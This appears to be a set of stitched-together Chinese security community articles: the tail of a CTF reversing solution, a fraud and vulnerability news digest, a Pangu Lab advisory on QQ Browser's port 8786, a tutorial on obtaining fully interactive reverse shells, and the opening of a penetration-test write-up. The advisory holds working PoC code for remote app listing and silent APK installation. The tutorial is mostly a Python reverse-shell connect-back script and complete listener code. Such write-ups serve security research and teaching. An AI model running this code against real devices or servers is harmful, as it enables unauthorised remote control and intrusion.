166, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1, 0, 6, 0, 36, 255, 216, 76, 3, 0, 0, 1, 2, 2, 0,
2, 6, 0, 38, 0, 0, 0, 0, 1, 0, 6, 0, 176, 136, 106, 13, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 39, 0, 0, 0, 0,
1, 0, 6, 0, 101, 165, 251, 90, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 176, 221, 231, 214, 2, 2, 0, 2, 7, 2, 6,
0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 32, 0, 0, 0, 0, 1, 0, 6, 0, 8, 192, 119, 227,
4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 33, 0, 0, 0, 0, 1, 0, 6, 0, 50, 116, 216, 175, 3, 0, 0, 1, 1, 2, 0, 2, 6,
0, 34, 0, 0, 0, 0, 1, 0, 6, 0, 161, 7, 165, 1, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 35, 0, 0, 0, 0, 1, 0, 6,
0, 253, 52, 188, 29, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 36, 0, 0, 0, 0, 1, 0, 6, 0, 206, 163, 134, 223, 3,
0, 0, 1, 2, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1, 0, 6, 0, 33, 167, 3, 36, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0,
38, 0, 0, 0, 0, 1, 0, 6, 0, 174, 129, 255, 26, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 39, 0, 0, 0, 0, 1, 0, 6,
0, 73, 127, 98, 183, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 150, 187, 29, 212, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0,
0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 32, 0, 0, 0, 0, 1, 0, 6, 0, 44, 217, 18, 43, 4, 0, 0, 1,
2, 2, 0, 2, 6, 0, 33, 0, 0, 0, 0, 1, 0, 6, 0, 25, 183, 227, 165, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 34, 0,
0, 0, 0, 1, 0, 6, 0, 169, 200, 129, 114, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 35, 0, 0, 0, 0, 1, 0, 6, 0, 214,
210, 20, 33, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 36, 0, 0, 0, 0, 1, 0, 6, 0, 228, 49, 178, 113, 3, 0, 0, 1,
1, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1, 0, 6, 0, 12, 244, 98, 109, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 38, 0, 0,
0, 0, 1, 0, 6, 0, 107, 33, 211, 186, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 39, 0, 0, 0, 0, 1, 0, 6, 0, 212, 49,
116, 112, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 224, 156, 20, 1, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0,
0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 32, 0, 0, 0, 0, 1, 0, 6, 0, 44, 5, 228, 231, 3, 0, 0, 1, 1, 2, 0, 2,
6, 0, 33, 0, 0, 0, 0, 1, 0, 6, 0, 103, 103, 233, 59, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 34, 0, 0, 0, 0, 1,
0, 6, 0, 68, 158, 21, 93, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 35, 0, 0, 0, 0, 1, 0, 6, 0, 249, 39, 170, 59,
3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 36, 0, 0, 0, 0, 1, 0, 6, 0, 94, 241, 117, 180, 4, 0, 0, 1, 1, 2, 0, 2, 6,
0, 37, 0, 0, 0, 0, 1, 0, 6, 0, 21, 177, 83, 105, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 38, 0, 0, 0, 0, 1, 0, 6,
0, 191, 233, 194, 161, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 39, 0, 0, 0, 0, 1, 0, 6, 0, 245, 241, 125, 125, 4,
0, 0, 1, 2, 2, 0, 2, 6, 0, 84, 8, 186, 167, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2,
0, 0, 0, 0, 6, 0, 32, 0, 0, 0, 0, 1, 0, 6, 0, 12, 205, 37, 55, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 33, 0, 0,
0, 0, 1, 0, 6, 0, 164, 251, 207, 10, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 34, 0, 0, 0, 0, 1, 0, 6, 0, 35, 24,
177, 41, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 35, 0, 0, 0, 0, 1, 0, 6, 0, 205, 7, 49, 74, 4, 0, 0, 1, 1, 2, 0,
2, 6, 0, 36, 0, 0, 0, 0, 1, 0, 6, 0, 102, 15, 78, 16, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1,
0, 6, 0, 96, 69, 126, 248, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 38, 0, 0, 0, 0, 1, 0, 6, 0, 233, 4, 38, 116,
4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 39, 0, 0, 0, 0, 1, 0, 6, 0, 56, 216, 186, 155, 3, 0, 0, 1, 2, 2, 0, 2, 6,
0, 191, 160, 234, 29, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 32,
0, 0, 0, 0, 1, 0, 6, 0, 36, 110, 119, 203, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 33, 0, 0, 0, 0, 1, 0, 6, 0,
121, 225, 48, 137, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 34, 0, 0, 0, 0, 1, 0, 6, 0, 90, 128, 104, 65, 4, 0, 0,
1, 2, 2, 0, 2, 6, 0, 35, 0, 0, 0, 0, 1, 0, 6, 0, 221, 137, 172, 48, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 36,
0, 0, 0, 0, 1, 0, 6, 0, 237, 214, 167, 53, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1, 0, 6, 0,
179, 193, 88, 214, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 38, 0, 0, 0, 0, 1, 0, 6, 0, 68, 6, 52, 172, 3, 0, 0,
1, 2, 2, 0, 2, 6, 0, 39, 0, 0, 0, 0, 1, 0, 6, 0, 19, 168, 83, 132, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 39,
70, 221, 13, 2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 32, 0, 0, 0,
0, 1, 0, 6, 0, 144, 246, 105, 123, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 33, 0, 0, 0, 0, 1, 0, 6, 0, 205, 154,
100, 11, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 34, 0, 0, 0, 0, 1, 0, 6, 0, 95, 140, 91, 2, 4, 0, 0, 1, 1, 2, 0,
2, 6, 0, 35, 0, 0, 0, 0, 1, 0, 6, 0, 187, 195, 127, 185, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 36, 0, 0, 0, 0,
1, 0, 6, 0, 17, 72, 202, 234, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1, 0, 6, 0, 221, 39, 228,
117, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 38, 0, 0, 0, 0, 1, 0, 6, 0, 210, 249, 234, 21, 4, 0, 0, 1, 1, 2, 0,
2, 6, 0, 39, 0, 0, 0, 0, 1, 0, 6, 0, 211, 117, 70, 25, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 223, 134, 167, 99,
2, 2, 0, 2, 7, 2, 6, 0, 0, 0, 0, 0, 6, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 0, 6, 0, 32, 0, 0, 0, 0, 1, 0, 6,
0, 18, 117, 94, 226, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0, 33, 0, 0, 0, 0, 1, 0, 6, 0, 108, 175, 221, 156, 3,
0, 0, 1, 2, 2, 0, 2, 6, 0, 34, 0, 0, 0, 0, 1, 0, 6, 0, 225, 107, 27, 143, 3, 0, 0, 1, 2, 2, 0, 2, 6, 0,
35, 0, 0, 0, 0, 1, 0, 6, 0, 146, 154, 123, 245, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 36, 0, 0, 0, 0, 1, 0, 6,
0, 145, 149, 113, 125, 3, 0, 0, 1, 1, 2, 0, 2, 6, 0, 37, 0, 0, 0, 0, 1, 0, 6, 0, 86, 98, 40, 215, 3, 0,
0, 1, 1, 2, 0, 2, 6, 0, 38, 0, 0, 0, 0, 1, 0, 6, 0, 205, 43, 209, 81, 4, 0, 0, 1, 2, 2, 0, 2, 6, 0, 39,
0, 0, 0, 0, 1, 0, 6, 0, 94, 40, 155, 142, 4, 0, 0, 1, 1, 2, 0, 2, 6, 0, 147, 117, 143, 66, 2, 2, 0, 2,
7, 2, 8, 0, 0, 0])
solver = Solver()
input_str = [0 for _ in range(40)]
for i in range(40):
input_str[i] = BitVec("input_%d" % i, 8)
solver.add(input_str[i] <= 127)
solver.add(input_str[i] >= 0)
stack = [0, 0, 0]
ptr = 0
while True:
while True:
while True:
while True:
while True:
while True:
while True:
while True:
while op_code[ptr] == 0:
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ input_str[
(16975111 * (op_code[ptr + 2] + 127)) ^ stack[op_code[ptr + 2]]]
ptr += 3
if op_code[ptr] != 1:
break
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ (
(stack[op_code[ptr + 3]] ^ (16975111 * (op_code[ptr + 3] + 127)))
+ ((16975111 * (op_code[ptr + 2] + 127)) ^ stack[op_code[ptr + 2]]))
ptr += 4
if op_code[ptr] != 2:
break
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ (
(stack[op_code[ptr + 3]] ^ (16975111 * (op_code[ptr + 3] + 127)))
- ((16975111 * (op_code[ptr + 2] + 127)) ^ stack[op_code[ptr + 2]]))
ptr += 4
if op_code[ptr] != 3:
break
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ (
(stack[op_code[ptr + 3]] ^ (16975111 * (op_code[ptr + 3] + 127)))
* ((16975111 * (op_code[ptr + 2] + 127)) ^ stack[op_code[ptr + 2]]))
ptr += 4
if op_code[ptr] != 4:
break
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ stack[op_code[ptr + 3]] ^ (
0x1030507 * (op_code[ptr + 3] + 127)) ^ (16975111 * (op_code[ptr + 2] + 127)) ^ stack[
op_code[ptr + 2]]
ptr += 4
if op_code[ptr] != 5:
break
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ (
stack[op_code[ptr + 3]] ^ (0x1030507 * (op_code[ptr + 3] + 127))) & (
(0x1030507 * (op_code[ptr + 2] + 127)) ^ stack[op_code[ptr + 2]])
ptr += 4
if op_code[ptr] != 6:
break
stack[op_code[ptr + 1]] = (16975111 * (op_code[ptr + 1] + 127)) ^ u32(op_code[ptr + 2: ptr + 6])
ptr += 6
if op_code[ptr] != 7:
break
solver.add(stack[op_code[ptr + 1]] == 16975111 * (op_code[ptr + 1] + 127))
ptr += 2
if op_code[ptr] == 8:
break
print(solver.check())
m = solver.model()
output_str = 'flag{'
for i in range(40):
output_str += chr(m.eval(input_str[i]).as_long())
print(output_str)
直接成功
flag{repairing_control_flow_is_interesting} | 社区文章 |
# 安全快讯17 | “套路贷”新花样，抄抄材料就能贷款的“手抄贷”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### “手抄贷”你听说过吗？ **“套路贷”又出新花样**
用户王先生在网上看到一则无抵押贷款广告，承诺“使用5年，先息后本，无前期费用”，急需用钱却无贷款资质的王先生立即与业务员取得了联系。该业务员承诺可以提供虚构缴税证明、补缴个税流水等“包装”服务，只要王先生在放贷公司面签时按照要求“抄抄材料”，就能百分百放款。信以为真的王先生支付了上万元“包装”费和服务费后，按照要求手抄了相关材料，不料面签时却说王先生抄写错误，拒绝贷款。原来，王先生遇到的正是
**以“包装”个人贷款为名实施诈骗活动的“手抄贷”** 犯罪团伙。
**“手抄贷”其实是“套路贷”诈骗犯罪的一种新型作案手段，目的就是要诱骗借款人支付所谓“包装”费和服务费。** 作案过程层层设套，一般有四个关键步骤：
**步骤一：网络发布诱惑信息**
涉案团伙的“业务员”通过微信朋友圈、QQ群等网络平台发布无抵押贷款虚假信息，招揽客源；
**步骤二：以“包装”为由收取费用**
“业务员”以 **帮借款人更改个税缴纳记录、征信记录** ，伪造真实公司的从业经历、职位等为由，要求借款人支付各类“包装”费和服务费，并签订委托代理合同；
**步骤三：让借款人抄写材料**
“业务员”将 **“包装”** 后的材料提供给借款人，承诺只要借款人把“包装”出来的材料抄写正确，就能百分百放款；
**步骤四：寻找理由拒绝放款**
“业务员”将借款人带到虚假的放贷公司进行面签，面签人会提问各种刁钻问题，甚至临时更换“包装”材料， **以借款人手抄材料错误等为由拒绝贷款。**
在诈骗过程中，借款人被诱骗到所谓的放贷公司后， **犯罪团伙的“业务员”还会安排其他团伙成员充当“群演”，手拿假币，假装已经成功批贷，**
获取借款人的信任。其实，该公司根本没有放款能力，也不会去银行申请贷款。
### 安全课堂
n通过银行和正规金融机构申请贷款，如果通过中介办理，要审查中介公司的资质以及业务员的从业资格，在签合同时要注意明确申请发放贷款的银行以及贷款利息等重要信息。
n千万不要相信所谓“抄抄材料”就能贷款的虚假宣传，防止受骗上当，造成财产损失。一旦发现被骗，要及时报警。
## 行业动态
### 工信部下架23款侵害用户权益App
据工信部网站，2020年8月31日，工业和信息化部向社会通报了101家存在侵害用户权益行为App企业的名单。截至目前，经第三方检测机构核查复检，尚有23款App未按要求完成整改。依据《网络安全法》和《移动智能终端应用软件预置和分发管理暂行规定》等法律和规范性文件要求，工业和信息化部组织对上述App进行下架。
## 国际前沿
### TikTok已修复Android版应用中可能会导致账号被劫持的安全漏洞
TikTok已经修复了其Android应用中的四个安全漏洞，这些漏洞可能会导致用户账号被劫持。应用安全启动公司Oversecure发现了这些漏洞，
**这些漏洞可能会让同一设备上的恶意应用从TikTok应用内部窃取敏感文件如会话令牌。** 会话令牌是一种可让用户登录而无需再输入密码的小文件，
**如果被盗，这些令牌可以让攻击者在不需要密码的情况下访问用户的账户。**
恶意应用将利用这个漏洞向TikTok应用注入一个恶意文件。一旦用户打开应用，恶意文件就会被触发，从而让恶意应用访问并在后台无声地向攻击者的服务器发送偷来的会话令牌。
Oversecure创始人Sergey Toshin透露，
**这款恶意应用还可以劫持TikTok的应用权限、允许它访问Android设备的摄像头、麦克风和设备上的私人数据如照片和视频。**
该公司在其网站上公布了有关漏洞的技术细节。TikTok表示，在Oversecure报告了这些漏洞后，他们已于今年早些时候修复了它们。 | 社区文章 |
来源链接：http://blog.pangu.io/wormable-browser/
### 漏洞说明
安卓版QQ浏览器，QQ热点等应用程序在本地wifi开始时，会监听本地8786端口，且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时，通过该接口，可在局域网内运行QQ浏览器，QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时，可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时，可通过恶意链接，远程植入，感染与被攻击方所在局域网内所有运行安卓版QQ浏览器，QQ热点等应用的主机。
### 漏洞详情
发现过程： 通过Janus平台搜索发现，QQ浏览器会在本地开启服务。
应用在获取到连接时会在handle方法进行处理。
通过bind命令，可以通过连接验证。然后利用其他命令，如downloadandinstall进行远程控制。
### 漏洞证明
1、 远程获取已安装应用列表。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import requests
import base64
from binascii import b2a_hex, a2b_hex
from pyDes import *
payload = ""
x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"
key = "kM7hYp8lE69UjidhlPbD98Pm"
def encode_(s):
e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
r = e_scheme.encrypt(s)
return base64.b64encode(r)
def decode_(s):
b = base64.b64decode(s)
e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
return e_scheme.decrypt(b)
def req(payload):
headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
try:
r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)
except:
print "Error"
print r.status_code
print r.content
if r != '':
print decode_(r.content)
print r.headers
if __name__ == "__main__":
stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
stage2 = encode_(stage1)
req(stage2)
2、远程下载、安装应用。
String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
+ "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
+ "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
+ "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
+ "'autoOpen':'true',"
+ "'installBySys':'false',"
//+ "'fileFolderPath':'',"
+ "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
+ "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));
3、其他如上传文件等均可执行。
String fileContent=Util.readFileByLines("D:\\迅雷下载\\w.apk");
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));
resp=(doPost("http://192.168.31.155:8786/upload? uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));
### 修复方案
结合这两款应用的应用场景发现，在鉴权方面并没有多大的修复空间（这两款应用都通过2次的3DES加密交换uuid，对第三方接入进行鉴权）。因此，我们建议开发者在第三方接入时，给用户必要的交互提示警告，确保经过用户授权才可以调用相关接口，从流程上对这个问题进行修复。
通过在盘古的Janus平台检索发现，有两款腾讯应用受此漏洞影响。分别是QQ浏览器和QQ热点。
其中QQ浏览器的影响比较大，测试发现包括最新版的很多版本都受这个漏洞的影响。
### 漏洞发现者
赵帅，盘古实验室研究员 卜文奇，盘古实验室实习研究员
* * * | 社区文章 |
# 关于一次python获得完整交互式shell的研究
## 前言
**（以下基于linux系统）在一次研究后渗透的过程中，我学习到了关于tsh(tiny
shell)的使用,虽然它已经是一个有了十几年历史的老工具了,但是仍然值得学习和研究,其中最让我感到惊讶的是利用这个工具连接后门可以获得一个完整的交互式shell(可以使用su,vim等命令,可以使用tab补全,上下箭头)!而众所周知我们利用nc,bash反弹的shell并非交互式的,这引起了我的兴趣,由于我比较熟悉的语言是python,于是对python如何反弹完整交互式shell开始了研究。**
### 关于反弹shell升级
在《如何将简单的Shell转换成为完全交互式的TTY》一文中，我们知道可以
**通过python提供的pty模块创建一个原生的终端，利用ctrl+z，stty raw -echo;fg，并最终reset来得到一个完全交互式的终端**
。那么假设目标环境中没有python环境，那么我们要如何达到这个效果呢？
通过搜索资料之后，我发现了使用`script
/dev/null`可以完全代替python提供的pty模块产生一个新的终端，这样就摆脱了对目标环境的依赖，然而利用这种方法有以下几个缺点：
* 比较繁琐（主要原因，我比较懒）
* 需要按下两次ctrl+d才能退回到主机的终端，并且此时整个终端都变得一团糟，需要使用reset来让终端恢复正常。
那么有没有方式可以简化以上步骤呢？有！当你通读完全文后，你将获得一个特制的python脚本来接收一个完整的交互式shell！
## 最初
我从网上查阅了许多相关的问题，但是无法找到一个令我满意的答案。我们先来看看网上流传得最广的python反弹shell的脚本：
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",23333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
这个脚本的原理非常简单。新建一个socket，并将标准输入（0），标准输出（1），错误（2）重定向到socket中，并运行一个shell。当我们执行这个脚本，就达到了与bash反弹shell一样的效果，这意味着我们同样可以用前面说的pty模块获得一个终端....等等，假如我们直接将spawn出的pty直接返回，是否就能够简化上述的一个步骤呢？
于是我有了这样的一个脚本：
# reverse_server.py
from socket import *
from sys import argv
import subprocess
talk = socket(AF_INET, SOCK_STREAM)
talk.connect(("127.0.0.1", 23333))
subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/bash\")'"],
stdin=talk, stdout=talk, stderr=talk, shell=True)
当我们运行了这个脚本之后，就直接获得了一个pty，省略了我们之前`python -c 'import pty;
pty.spawn("/bin/bash")'` 的步骤。但是这样还不够好，我们能否通过一个特制的接收端来简化我们ctrl+z，stty raw
-echo;fg等步骤呢？
## 初步结果
在与朋友讨论之后，我们拿出了一个这样的接收端：
# reverse_client.py
import sys, select, tty, termios, socket
import _thread as thread
from sys import argv, stdout
class _GetchUnix:
def __call__(self):
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def daemon(conn):
while True:
try:
tmp = conn.recv(16)
stdout.buffer.write(tmp)
stdout.flush()
except Exception as e:
# print(e)
CONN_ONLINE = 0
# break
if __name__ == "__main__":
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.bind(('0.0.0.0', 23333))
conn.listen(5)
talk, addr = conn.accept()
print("Connect from %s.\n" % addr[0])
thread.start_new_thread(daemon, (talk,))
while CONN_ONLINE:
c = getch()
if c:
talk.send(bytes(c, encoding='utf-8'))
其原理是通过getch从标准输入中捕捉所有字符，并将其原封不动地发送给socket，再从socket中接收数据，写入stdout中。
### 效果
靶机：
攻击机（为了方便展示效果，将原终端的提示符改成TEST）：
如你所见，我们获得了一个 **完整交互式shell** ！
## 优化，兼容，处理异常
现在我们的脚本还十分简陋，我们需要对这个特制的客户端进行优化，处理异常，兼容python2和python3，于是我们得到了一个这样的脚本：
# reverse_client.py
import socket
import sys
import termios
import tty
from os import path
from sys import stdout
# import thread, deal with byte
if (sys.version_info.major == 2):
def get_byte(s, encoding="UTF-8"):
return str(bytearray(s, encoding))
STDOUT = stdout
import thread
else:
def get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)
STDOUT = stdout.buffer
import _thread as thread
FD = None
OLD_SETTINGS = None
class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = sys.stdin.fileno()
OLD_SETTINGS = termios.tcgetattr(FD)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def stdprint(message):
stdout.write(message)
stdout.flush()
def close_socket(talk, exit_code=0):
import os
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
os.system("reset")
os._exit(exit_code)
def recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise socket.error
except socket.error:
stdprint("Connection close by socket.\n")
close_socket(conn, 1)
def main(port):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
try:
talk, addr = conn.accept()
stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(recv_daemon, (talk,))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(get_byte(c, encoding='utf-8'))
except socket.error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(sys.argv[0]))
exit(2)
main(int(sys.argv[1]))
经过我们的修改，它变得更好了。加入了参数调用，处理了异常，并且兼容python2和python3（攻击机都不需要python3，笑:D）。然而它还有一个关键的问题，目标机子必须运行特制的python脚本。
## 最终成果
还记得我们一开始的研究吗？我们发现`script /dev/null`与python
spawn出的pty有类似的效果，假如我们用特制的客户端接收shell，靶机使用bash反弹shell会是怎么样的结果呢？
靶机：
攻击机：
看起来我们似乎成功了？输入个命令试试：
天呐，发生了什么，为什么会是一幅烂掉的样子？假如我们试着使用`script /dev/null`，然后`reset`？
（这里输入的reset并没有显示）
来让我们回车：
没错，我们得到了一个运行正常的完整交互式shell！这说明了利用bash反弹shell来获得完整交互式shell是完全可行的！
于是我们开始优化脚本，在接收到shell之后，通过socket发送指定的命令，来实现我们最终的懒人版！
# reverse_client_bash.py
import socket
import sys
import termios
import tty
from os import path, popen
from sys import stdout
# import thread, deal with byte
if (sys.version_info.major == 2):
def get_byte(s, encoding="UTF-8"):
return str(bytearray(s, encoding))
STDOUT = stdout
import thread
else:
def get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)
STDOUT = stdout.buffer
import _thread as thread
FD = None
OLD_SETTINGS = None
class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = sys.stdin.fileno()
OLD_SETTINGS = termios.tcgetattr(FD)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def stdprint(message):
stdout.write(message)
stdout.flush()
def close_socket(talk, exit_code=0):
import os
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
os.system("clear")
os.system("reset")
os._exit(exit_code)
def recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise socket.error
except socket.error:
msg = "Connection close by socket.\n"
stdprint(msg)
close_socket(conn, 1)
def main(port):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
reset = True
try:
rows, columns = popen('stty size', 'r').read().split()
except Exception:
reset = False
try:
talk, addr = conn.accept()
stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(recv_daemon, (talk,))
talk.send(get_byte("""script /dev/null && exit\n""", encoding='utf-8'))
talk.send(get_byte("""reset\n""", encoding='utf-8'))
if (reset):
talk.send(get_byte("""resize -s %s %s > /dev/null\n""" % (rows, columns), encoding='utf-8'))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(get_byte(c, encoding='utf-8'))
except socket.error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(sys.argv[0]))
exit(2)
main(int(sys.argv[1]))
我们在连接shell之后向socket发送了几条命令：
script /dev/null && exit
# 这里exit的作用是当我们ctrl+d退出良好的终端时，自动退出那个坏的终端并返回到我们原始终端。
reset
# 重置tty
resize -s x %x > /dev/null
# 将tty的窗体大小设置为原始终端的窗体大小
**That is all！** | 社区文章 |
本次接到一个hvv前的渗透测试项目，一家互联网金融，今年是第二年给他们家做测试，项目完成后，复盘时觉得还是有一些东西是可以记录一下的。
## 项目总体情况
该厂家资产较多，前期搜集到的资产大概有100多个，大部分为Springboot开发，有阿里云waf，部分为nodejs+vue的。而且去年已经挖过一次，找到的洞全部已经修复了，所以今年在打的话就比较吃力了。今年的挖掘重点在于去年没找到的资产，但是一顿猛如虎的操作过后，只挖到一些信息泄露和越权，这显然是没法交差的。
去年的挖掘重点是Springboot的站，今年就选择nodejs的站为重点来突破，虽然艰难，但最后还是找到两个突破点成功进入内网。
## 一、 突破点1：客服系统
首先关注的资产是客服系统，该系统运行在444端口（域名先称之为`https://www.test.com:444/`），采用nodejs+vue开发，有上传功能，但上传后的文件直接传到的阿里云的oss上，xss去年挖过了，也已经被修复了，扫描端口，发现开了80、443、444，不过全部指向该客服系统，由于目标nodejs的站比较少，无奈只能死磕这个站了。
### 0x01 差点错过的切入点
死磕的过程中紧紧盯着搜集到的信息，发现有一个细节就是浏览器选项卡里的logo变了，原本是厂家的logo，现在竟然变成了别的logo，这个细节让我感觉这个站点下面还有别的站点。
原本的logo信息如下：（原谅我找了个网图，因为一看logo就可能会暴露厂商信息）
扫描完目录后的logo如下：
